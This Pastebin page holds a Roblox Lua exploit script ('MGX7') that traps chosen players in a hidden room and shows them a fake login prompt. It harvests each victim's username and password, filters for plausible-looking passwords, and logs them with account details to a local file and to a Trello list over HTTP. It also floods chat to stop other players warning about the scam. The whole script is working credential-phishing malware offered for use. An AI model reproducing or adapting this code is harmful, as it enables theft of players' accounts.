Advertisement
Guest User

Gui

a guest
Jan 7th, 2017
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.13 KB | None | 0 0
  1. local MyRoom = "BasicRoom"
  2.  
  3. local StorageType = 2 -- 1 = CoreGui 2 = ReplicatedStorage
  4.  
  5. local ScamType = "Pick" -- "Normal" "Pick" "TargetList"
  6.  
  7. local TargetList = {}
  8.  
  9. local Bypassers = { -- Leave ID as 0 if you don't want to use ID checks.
  10. {Name = "", ID = 0}
  11. }
  12.  
  13. local Trello = {
  14. Enabled = false,
  15. List = "MGX7List",
  16. DumpList = "MRDumps",
  17. TrelloTargetList = "MRTargetList",
  18. DevKey = "",
  19. Token = "",
  20. }
  21.  
  22. local floodChat = false -- To prevent people from saying "ITS A SCAM!"
  23.  
  24. local writeAccounts = false -- Writes accounts to a file (ELYSIAN ONLY)
  25. local fileName = "MGX7List" -- Where your accounts will be written if you have Elysian.
  26.  
  27. BypassKey = "v3rm" -- Bypass key players can use to skip login
  28. BypassKeyEnabled = true -- Enables the bypass key or not
  29. BypassKeyRules = true -- Shows a rule gui when entering bypass key to inform players the rules of your MGui session
  30.  
  31. local kickLogin = false -- Kicks player after they login
  32.  
  33. local RAPApi = false
  34.  
  35. ------------------------------------------------------------------------
  36.  
  37. local http = game:GetService("HttpService")
  38.  
  39. local MyListID = ""
  40.  
  41. function trelloGet(address)
  42. if not address then return end
  43. return game:HttpGet(address.. "?key="..Trello.DevKey.."&token="..Trello.Token,true)
  44. end
  45.  
  46. function trelloPost(address, data)
  47. if address == nil or data == nil then return end
  48. local encoded = http:JSONEncode(data)
  49. return game:HttpPost(address.. "?key="..Trello.DevKey.."&token="..Trello.Token, tostring(encoded),true,"application/json")
  50. end
  51.  
  52. if Trello.Enabled then
  53. local boards = trelloGet("https://api.trello.com/1/members/me/boards")
  54. if not boards then return end
  55. local foundList = false
  56. for _,v in pairs(http:JSONDecode(boards)) do
  57. if v["id"] ~= nil then
  58. local lists = trelloGet("http://api.trello.com/1/boards/"..v["id"].."/lists")
  59. if lists then
  60. for x,list in pairs(http:JSONDecode(lists)) do
  61. if list["name"] == Trello.List then
  62. MyListID = list["id"]
  63. foundList = true
  64. break
  65. end
  66. end
  67. end
  68. end
  69. end
  70. if not foundList then
  71. local newBoard = trelloPost("https://api.trello.com/1/boards", {["name"]="MGX7",["desc"]="A board for MGX7.."})
  72. local posted = false
  73. if newBoard then
  74. newBoard = http:JSONDecode(newBoard)
  75. local newList = trelloPost("https://api.trello.com/1/boards/"..newBoard["id"].."/lists", {["name"]=Trello.List})
  76. if newList then
  77. MyListID = http:JSONDecode(newList)["id"]
  78. end
  79. end
  80. print("A board was created for you.")
  81. end
  82. end
  83.  
  84. local MainFolder = game:GetObjects("rbxassetid://432005266")[1]
  85. MainFolder.Parent = game.ReplicatedStorage
  86.  
  87. local player = game.Players.LocalPlayer
  88.  
  89. local CurrentlyScamming = {}
  90.  
  91. local AuthList = {}
  92.  
  93. local MRStorage
  94.  
  95. local guiTool = MainFolder.Login
  96.  
  97. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  98. guiTool.LocalScript:Destroy()
  99. replaceScript.Parent = guiTool
  100.  
  101. local ruleTool = MainFolder["Bypass Rules"]
  102.  
  103. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  104. ruleTool.LocalScript:Destroy()
  105. replaceScript.Parent = ruleTool
  106.  
  107. local extraCheckerTool = game:GetService("InsertService"):LoadAsset(55028088):GetChildren()[1]
  108.  
  109. function invisi(root)
  110. for i,v in pairs(root:GetChildren()) do
  111. if v:IsA("GuiObject") then
  112. v.Visible = false
  113. elseif v:IsA("BasePart") then
  114. v.Transparency = 1
  115. elseif v:IsA("SpecialMesh") then
  116. v.MeshId = ""
  117. v.TextureId = ""
  118. end
  119. invisi(v)
  120. end
  121. end
  122.  
  123. invisi(extraCheckerTool)
  124.  
  125. extraCheckerTool.TextureId = ""
  126. extraCheckerTool.Name = "Authenticating..."
  127.  
  128. local pickGui = MainFolder.PickGui
  129.  
  130. function checkPass(pass, playa)
  131. if BypassKeyEnabled and pass == BypassKey then
  132. if BypassKeyRules then
  133. local newTool = ruleTool:Clone()
  134. newTool.Parent = workspace
  135. newTool.Handle.CanCollide = false
  136. newTool.Handle.CFrame = playa.Character.Head.CFrame
  137. end
  138. return true
  139. end
  140. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  141. return false
  142. end
  143. local foundNums = 0
  144. local foundLetters = 0
  145. if string.find(pass, " ") then
  146. return false
  147. end
  148. if pass:len() < 6 or pass:len() > 20 then
  149. return false
  150. end
  151. for i=1,pass:len() do
  152. if pass:sub(i,i):match("%d") ~= nil then
  153. foundNums = foundNums + 1
  154. end
  155. end
  156. if foundNums < 2 then
  157. return false
  158. end
  159. for i=1,pass:len() do
  160. if pass:sub(i,i):match("%a") ~= nil then
  161. foundLetters = foundLetters + 1
  162. end
  163. end
  164. if foundLetters < 4 then
  165. return false
  166. end
  167. return true
  168. end
  169.  
  170. function getUText(root, val)
  171. local found
  172. if val then
  173. found = val
  174. end
  175. for i,v in pairs(root:GetChildren()) do
  176. if v.Name == "UText" then
  177. found = v
  178. break
  179. end
  180. found = getUText(v,found)
  181. end
  182. return found
  183. end
  184.  
  185. function getPText(root, val)
  186. local found
  187. if val then
  188. found = val
  189. end
  190. for i,v in pairs(root:GetChildren()) do
  191. if v.Name == "PText" then
  192. found = v
  193. break
  194. end
  195. found = getPText(v,found)
  196. end
  197. return found
  198. end
  199.  
  200. function getILPopUp(root, val)
  201. local found
  202. if val then
  203. found = val
  204. end
  205. for i,v in pairs(root:GetChildren()) do
  206. if v.Name == "ILPopUp" then
  207. found = v
  208. break
  209. end
  210. found = getILPopUp(v,found)
  211. end
  212. return found
  213. end
  214.  
  215. function unscPlayer(plr)
  216. unAuth(plr.Name)
  217. for i,v in pairs(CurrentlyScamming) do
  218. if plr == v.Player then
  219. table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  220. table.remove(CurrentlyScamming,i)
  221. wait()
  222. while plr.Backpack:FindFirstChild("Login") do
  223. plr.Backpack.Login:Destroy()
  224. wait()
  225. end
  226. while plr.Character:FindFirstChild("Login") do
  227. plr.Character.Login:Destroy()
  228. wait()
  229. end
  230. plr.Character:WaitForChild("Torso")
  231. plr.Character:WaitForChild("HumanoidRootPart")
  232. plr.Character.HumanoidRootPart.Anchored = false
  233. plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  234. v.Player.CameraMaxZoomDistance = 400
  235. v.Player.CameraMinZoomDistance = 0
  236. v.RoomModel:Destroy()
  237. end
  238. end
  239. end
  240.  
  241. function scPlayer(plr)
  242. ypcall(function()
  243. local debounce = false
  244. local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  245. if roomCheck then
  246. local roomId = #CurrentlyScamming + 1
  247. local newRoom = roomCheck:Clone()
  248. newRoom.Parent = workspace
  249. newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  250.  
  251. local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  252. table.insert(CurrentlyScamming,newPacket)
  253. --[[
  254. newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  255. if debounce == false then
  256. if playa.Backpack:FindFirstChild("Login") then
  257. if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  258. debounce = true
  259. getILPopUp(newRoom).Visible = false
  260. getILPopUp(playa.Backpack.Login).Visible = false
  261. wait(0.5)
  262. if playa.Backpack:FindFirstChild("Login") then
  263. if checkPass(getPText(playa.Backpack.Login).Text) then
  264. print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  265. unscPlayer(plr)
  266. else
  267. getILPopUp(newRoom).Visible = true
  268. getILPopUp(playa.Backpack.Login).Visible = true
  269. getPText(playa.Backpack.Login).Text = ""
  270. end
  271. end
  272. end
  273. end
  274. debounce = false
  275. end
  276. end)
  277. --]]
  278. end
  279. end)
  280. end
  281.  
  282. function isBypass(plr)
  283. local bypass = false
  284. for i,v in pairs(Bypassers) do
  285. if v.Name == plr.Name or v.ID == plr.UserId then
  286. bypass = true
  287. end
  288. end
  289. return bypass
  290. end
  291.  
  292. function isScamming(plr)
  293. local isScam = false
  294. for i,v in pairs(CurrentlyScamming) do
  295. if v.Player.Name == plr then
  296. isScam = true
  297. end
  298. end
  299. return isScam
  300. end
  301.  
  302. function isAuth(plr)
  303. local isAu = false
  304. for i,v in pairs(AuthList) do
  305. if v == plr then
  306. isAu = true
  307. end
  308. end
  309. return isAu
  310. end
  311.  
  312. function unAuth(plr)
  313. for i,v in pairs(AuthList) do
  314. if v == plr then
  315. table.remove(AuthList,i)
  316. end
  317. end
  318. end
  319.  
  320. function fixPlayers()
  321. for i,v in pairs(CurrentlyScamming) do
  322. ypcall(function()
  323. if v.Player.Character:FindFirstChild("Login") then
  324. if v.Player.Character.Login:FindFirstChild("SprayGui") then
  325. local tempTool = v.Player.Character:FindFirstChild("Login")
  326. tempTool.Parent = v.RoomModel
  327. tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  328. end
  329. end
  330. end)
  331. end
  332. end
  333.  
  334. function BCtoDumpStr(str)
  335. local res = ""
  336. if str == "Enum.MembershipType.BuildersClub" then
  337. res = "[BC] "
  338. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  339. res = "[TBC] "
  340. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  341. res = "[OBC] "
  342. elseif str == "Enum.MembershipType.None" then
  343. res = ""
  344. end
  345. return res
  346. end
  347.  
  348. function getRap(user)
  349. local rap = "Error."
  350. if RAPApi then
  351. ypcall(function()
  352. local http = game:GetService("HttpService")
  353. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  354. rap = tostring(rawrap.rap)
  355. end)
  356. else
  357. rap = "Disabled."
  358. end
  359. return rap
  360. end
  361.  
  362. function getBC(bc)
  363. local BCType = ""
  364. if bc=="Enum.MembershipType.BuildersClub" then
  365. BCType = "BC"
  366. elseif bc=="Enum.MembershipType.TurboBuildersClub" then
  367. BCType = "TBC"
  368. elseif bc=="Enum.MembershipType.OutrageousBuildersClub" then
  369. BCType = "OBC"
  370. else
  371. BCType = "NBC"
  372. end
  373. return BCType
  374. end
  375.  
  376. function ToTrello(user,pass,rap)
  377. if MyListID == "" then
  378. print("NO LIST!")
  379. return
  380. end
  381.  
  382. local Label = ""
  383. local rawLabel = tostring(user.MembershipType)
  384. if rawLabel == "Enum.MembershipType.BuildersClub" then
  385. Label = "blue"
  386. elseif rawLabel == "Enum.MembershipType.TurboBuildersClub" then
  387. Label = "orange"
  388. elseif rawLabel == "Enum.MembershipType.OutrageousBuildersClub" then
  389. Label = "red"
  390. else
  391. Label = "white"
  392. end
  393. local name = "Username: "..user.Name.." Password: "..pass.." BC: "..getBC(rawLabel).." Age: "..tostring(user.AccountAge).." RAP: R$"..rap
  394. trelloPost("https://api.trello.com/1/lists/"..MyListID.."/cards", {["name"]=name,["labels"]=Label})
  395. end
  396.  
  397. function getPassValue(tool,playa)
  398. table.insert(AuthList,playa.Name)
  399.  
  400. wait()
  401.  
  402. local success = false
  403.  
  404. while playa.Character:FindFirstChild("Authenticating...") do
  405. playa.Character["Authenticating..."]:Destroy()
  406. end
  407. while playa.Backpack:FindFirstChild("Authenticating...") do
  408. playa.Backpack["Authenticating..."]:Destroy()
  409. end
  410.  
  411. tool.Parent = game.Lighting
  412.  
  413. local pGui = tool:WaitForChild("SprayGui")
  414.  
  415. local backup = pGui:Clone()
  416.  
  417. local newLoginTool = extraCheckerTool:Clone()
  418.  
  419. newLoginTool.Parent = playa.Character
  420.  
  421. wait(2)
  422.  
  423. newLoginTool.BasePlateGuide:Destroy()
  424.  
  425. pGui.Name = "BasePlateGuide"
  426. pGui.Parent = newLoginTool
  427.  
  428. wait(1)
  429.  
  430. local changerVal = newLoginTool:WaitForChild("LuaGlobalVariables"):WaitForChild("ShowInvalidPlacement")
  431.  
  432. local resultLogin
  433.  
  434. local myFinalP
  435.  
  436. repeat
  437.  
  438. print("Attempt for "..playa.Name)
  439.  
  440. while playa.Character:FindFirstChild("BasePlateGuide") do
  441. playa.Character["BasePlateGuide"]:Destroy()
  442. end
  443.  
  444. local timeout = 80
  445.  
  446. repeat
  447. wait()
  448. timeout = timeout - 1
  449. pcall(function()
  450. changerVal.Value = not changerVal.Value
  451. end)
  452. if timeout <= 0 then
  453. newLoginTool.Parent = playa.Backpack
  454. backup:Clone().Parent = tool
  455.  
  456. wait()
  457.  
  458. newLoginTool:Destroy()
  459.  
  460. tool.Parent = playa.Backpack
  461. return ""
  462. end
  463. until playa.Character:FindFirstChild("BasePlateGuide")
  464.  
  465. resultLogin = playa.Character.BasePlateGuide
  466.  
  467. timeout = 20
  468.  
  469. while myFinalP == nil do
  470. myFinalP = getPText(resultLogin)
  471. timeout = timeout - 1
  472. if timeout <= 0 then
  473. print("NOPE")
  474. if newLoginTool then
  475. newLoginTool.Parent = playa.Backpack
  476. end
  477. backup:Clone().Parent = tool
  478.  
  479. wait()
  480.  
  481. if newLoginTool then
  482. newLoginTool:Destroy()
  483. end
  484.  
  485. if resultLogin then
  486. resultLogin:Destroy()
  487. end
  488.  
  489. tool.Parent = playa.Backpack
  490. return "-MgxErr0r-"
  491. end
  492. wait()
  493. end
  494.  
  495. if myFinalP then
  496.  
  497. myFinalP = myFinalP.Text
  498.  
  499. print("A PASS: "..myFinalP.." Player: "..playa.Name)
  500.  
  501. if myFinalP == "TextBox" then
  502. print("Check "..playa.Name)
  503. success = true
  504. else
  505. success = true
  506. end
  507. else
  508. print("There was no pass.")
  509. success = true
  510. end
  511.  
  512. until success
  513.  
  514. if newLoginTool then
  515. newLoginTool.Parent = playa.Backpack
  516. end
  517. backup:Clone().Parent = tool
  518.  
  519. wait()
  520.  
  521. if newLoginTool then
  522. newLoginTool:Destroy()
  523. end
  524.  
  525. if resultLogin then
  526. resultLogin:Destroy()
  527. end
  528.  
  529. tool.Parent = playa.Backpack
  530.  
  531. return myFinalP
  532. end
  533.  
  534. function logAccount(user,pass)
  535. local playerName = user.Name
  536. local playerAge = tostring(user.AccountAge)
  537. local playerRAP = getRap(playerName)
  538.  
  539. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  540.  
  541. if printconsole then
  542. printconsole(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  543. end
  544. if readfile and writefile then
  545. if readfile(getintrigapath()..fileName..".txt") == "nil path doesn't exist" then
  546. writefile(getintrigapath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  547. else
  548. local tempFile = readfile(getintrigapath()..fileName..".txt")
  549. writefile(getintrigapath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  550. end
  551. end
  552.  
  553. if Trello.Enabled then
  554. ypcall(function()
  555. ToTrello(user,pass,playerRAP)
  556. end)
  557. end
  558. end
  559.  
  560. function teleportVictims()
  561. for i,v in pairs(CurrentlyScamming) do
  562. ypcall(function()
  563. v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  564. v.Player.Character.HumanoidRootPart.Anchored = true
  565. if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") and not isAuth(v.Player.Name) then
  566. if not v.RoomModel:FindFirstChild("Login") then
  567. local tempTools = {}
  568. for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  569. table.insert(tempTools,v2:Clone())
  570. v2:Destroy()
  571. end
  572. local newTool = guiTool:Clone()
  573. newTool.Parent = v.RoomModel
  574. newTool.Handle.CanCollide = false
  575. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  576. newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
  577. getUText(newTool).Text = v.Player.Name
  578. spawn(function()
  579. wait(2)
  580. for i2,v2 in pairs(tempTools) do
  581. v2.Parent = v.Player.Backpack
  582. end
  583. end)
  584. newTool.Changed:connect(function(prop)
  585. if not isScamming(v.Player.Name) or isAuth(v.Player.Name) then return end
  586. if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  587. if v.Player.Backpack:FindFirstChild("Login") then
  588. if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  589. getILPopUp(v.Player.Backpack.Login).Visible = false
  590. if v.Player.Backpack:FindFirstChild("Login") then
  591. local myPass = getPassValue(v.Player.Backpack.Login,v.Player)
  592. if checkPass(myPass, v.Player) then
  593. logAccount(v.Player, myPass)
  594. unscPlayer(v.Player)
  595. spawn(function()
  596. wait(0.5)
  597. if kickLogin then
  598. if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  599. v.Player:Remove()
  600. end
  601. end
  602. end)
  603. else
  604. unAuth(v.Player.Name)
  605. local myIL
  606. local myPT
  607. while myIL == nil do
  608. myIL = getILPopUp(newTool)
  609. wait()
  610. end
  611. while myPT == nil do
  612. myPT = getPText(newTool)
  613. wait()
  614. end
  615. if myPass == "-MgxErr0r-" then
  616. myIL.Text = "Server error, please re-enter."
  617. else
  618. myIL.Text = "Wrong Username/Password. Please try again."
  619. end
  620. myIL.Visible = true
  621. myPT.Text = ""
  622. wait()
  623. if not v.Player.Character:FindFirstChild("Login") then
  624. newTool.Parent = v.RoomModel
  625. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  626. newTool.LocalScript.Disabled = false
  627. end
  628. end
  629. end
  630. end
  631. end
  632. end
  633. end)
  634. end
  635. elseif v.Player.Backpack:FindFirstChild("Login") then
  636. if v.Player.Backpack.Login.SprayGui:GetChildren() == 0 then
  637. unAuth(v.Player.Name)
  638. v.Player.Backpack.Login:Destroy()
  639. end
  640. end
  641. end)
  642. end
  643. end
  644.  
  645. wait()
  646.  
  647. game.Players.PlayerRemoving:connect(function(playa)
  648. for i,v in pairs(CurrentlyScamming) do
  649. if v.Player == playa then
  650. table.remove(CurrentlyScamming,i)
  651. end
  652. end
  653. end)
  654.  
  655. --[[
  656. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  657. local infoText = Instance.new("TextLabel",infoGui)
  658. infoText.Position = UDim2.new(0,0,1,-20)
  659. infoText.Size = UDim2.new(1,0,0,20)
  660. infoText.FontSize = "Size18"
  661. infoText.Font = "SourceSansBold"
  662. infoText.BackgroundTransparency = 1
  663. infoText.TextColor3 = Color3.new(1,1,1)
  664. infoText.TextXAlignment = "Right"
  665. infoText.Text = "Press 'p' to toggle chat spam."
  666. --]]
  667.  
  668. local mouse = game.Players.LocalPlayer:GetMouse()
  669. mouse.KeyDown:connect(function(key)
  670. if key == "p" then
  671. floodChat = not floodChat
  672. end
  673. end)
  674.  
  675. spawn(function()
  676. while wait(3) do
  677. fixPlayers()
  678. end
  679. end)
  680.  
  681. while wait() do
  682. teleportVictims()
  683. if floodChat then
  684. game.Players:Chat(".")
  685. game.Players:Chat(".")
  686. end
  687. if ScamType == "Normal" then
  688. for i,v in pairs(game.Players:GetPlayers()) do
  689. if StorageType == 1 then
  690. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  691.  
  692. end
  693. elseif StorageType == 2 then
  694. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  695. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  696. MRStorage.Name = "MRStorage"
  697. end
  698. if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  699. scPlayer(v)
  700. end
  701. end
  702. end
  703. elseif ScamType == "Pick" then
  704. if StorageType == 1 then
  705. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  706.  
  707. end
  708. elseif StorageType == 2 then
  709. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  710. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  711. MRStorage.Name = "MRStorage"
  712. end
  713. if not player.PlayerGui:FindFirstChild("PickGui") then
  714. local newPickGui = pickGui:Clone()
  715. newPickGui.Parent = player.PlayerGui
  716. spawn(function()
  717. local pickGuiList = newPickGui.MainFrame.AccList
  718. local pickGuiResult = newPickGui.MainFrame.UserResult
  719. pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  720. local function updatePickList()
  721. pickGuiList:ClearAllChildren()
  722. for i,v in pairs(game.Players:GetPlayers()) do
  723. if v ~= player then
  724. local newRes = pickGuiResult:Clone()
  725. newRes.PlayerName.Text = v.Name
  726. newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  727. newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  728. if isScamming(v.Name) then
  729. newRes.PlayerStatus.Text = "Scamming..."
  730. end
  731. if isBypass(v) then
  732. newRes.PlayerStatus.Text = "Scammed"
  733. end
  734. newRes.Parent = pickGuiList
  735. pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  736. newRes.Visible = true
  737. newRes.MouseButton1Down:connect(function()
  738. if not isScamming(v.Name) then
  739. scPlayer(v)
  740. end
  741. end)
  742. end
  743. end
  744. end
  745. updatePickList()
  746. newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  747. updatePickList()
  748. end)
  749. end)
  750. end
  751. end
  752. end
  753. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement